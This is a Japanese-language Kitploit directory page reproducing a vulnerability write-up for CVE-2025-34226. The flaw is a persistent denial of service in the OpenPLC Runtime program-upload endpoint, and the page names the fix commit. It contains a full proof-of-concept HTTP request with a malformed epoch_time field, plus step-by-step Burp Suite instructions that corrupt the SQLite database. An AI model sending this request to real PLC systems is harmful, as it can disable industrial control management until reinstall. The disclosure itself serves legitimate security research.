Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-34226 — OpenPLC Runtimeは、/upload-program-actionエンドポイントにおいて永続的なサービス拒否(DoS)の脆弱性の影響を受けます。 | Kitploit
ツール/GitHubGitHub/eyodav/cve-2025-34226
脆弱性分析エクスプロイトSCADA/ICSセキュリティウェブアプリケーション悪用設定ミスデータベースセキュリティ
GitHubeyodav/cve-2025-34226

CVE-2025-34226

OpenPLC Runtimeは、/upload-program-actionエンドポイントにおいて永続的なサービス拒否(DoS)の脆弱性の影響を受けます。

リポジトリを見る
10ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-34226: OpenPLC Runtimeにおける持続的DoS

脆弱性概要

フィールド値
CVE IDCVE-2025-34226
影響を受けるバージョンOpenPLC Runtime V3
修正バージョン(コミット) 095ee09623dd229b64ad3a1db38a901a3772f6fc
深刻度高
CVSS 4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (高)
CWECWE-664 リソースのライフタイムを通じた不適切な制御、CWE-20 不適切な入力検証

概要

OpenPLC Runtimeは、/upload-program-actionエンドポイントに持続的denial of service(DoS)脆弱性があります。
プログラムアップロード中にepoch_timeパラメータを変更することで、低権限の認証ユーザーがバックエンドデータベースを破損させる可能性があります。
この破損により、最初に重要なページが無効になり、最終的にランタイム全体の起動が妨げられ、実質的にアプリケーションが再インストールされるまで使用不能になります。


セキュリティへの影響

  • 持続的DoS – 一度トリガーされると、完全な再インストールなしではシステムは復旧できません。
  • データベース破損 – エクスプロイトによりOpenPLCのSQLiteデータベースに無効な値が導入され、ランタイム状態が破壊されます。
  • 運用障害 – ICS/OT環境では、PLC管理プロセスのダウンタイムを引き起こす可能性があります。
  • 検証のバイパス – エクスプロイトは入力検証をバイパスし、重要なパラメータに対するサニタイズの欠如を示しています。

技術的詳細

影響を受けるバージョン

  • 脆弱なバージョン: OpenPLC Runtime ≤ v3(最新版ではない)
  • 修正バージョン: コミット 095ee09623dd229b64ad3a1db38a901a3772f6fc で修正済み

攻撃ベクトル

/upload-program-actionエンドポイントは、epoch_timeフィールドを検証なしで直接データベースに書き込みます。
このフィールドが細工された、または無意味な値(例:1758627838や不正なデータ)に設定されると、OpenPLCは一貫性のない状態を保存します。
ランタイムのリロードまたは再起動時に、アプリケーションは破損した行をクエリし、NoneTypeオブジェクトに遭遇して致命的なクラッシュが発生します(TypeError: 'NoneType' object is not subscriptable)。


概念実証

PoC 1: 悪意のあるアップロードリクエスト(Burp Suite Repeater)

root@kitploit:~
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]

------BOUNDARY
Content-Disposition: form-data; name="prog_name"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain

PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"

"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--

再現手順

  1. Burp Suiteを開く
  2. Burp Suiteブラウザを開く
  3. OpenPLCインターフェースにアクセスする
  4. 低権限アカウントで認証する。
  5. /programsを介してプログラムをアップロードする
  6. ランダムな名前を選択する。
  7. Burp Suiteプロキシを有効にする
  8. リクエストをRepeaterに送信する
  9. epoch_timeセクションを編集し、元のepoch_timeの代わりに"L"のようなランダムな文字に変更する
  10. 新しく細工したリクエストを送信する。
  11. /programsを確認すると、動作しなくなっていることがわかる
  12. その後、OpenPLCを再起動するとランタイムの起動に失敗することがあり、その後OpenPLCを再起動できなくなる。

即時対応

  1. 直ちにアップグレード OpenPLC V3

参考文献

  • パッチ/リリースノート: [公式最新リリースへのリンク]
  • 脆弱性履歴: [脆弱性履歴リンク]

クレジット

発見者: Eyodav

ツールをダウンロード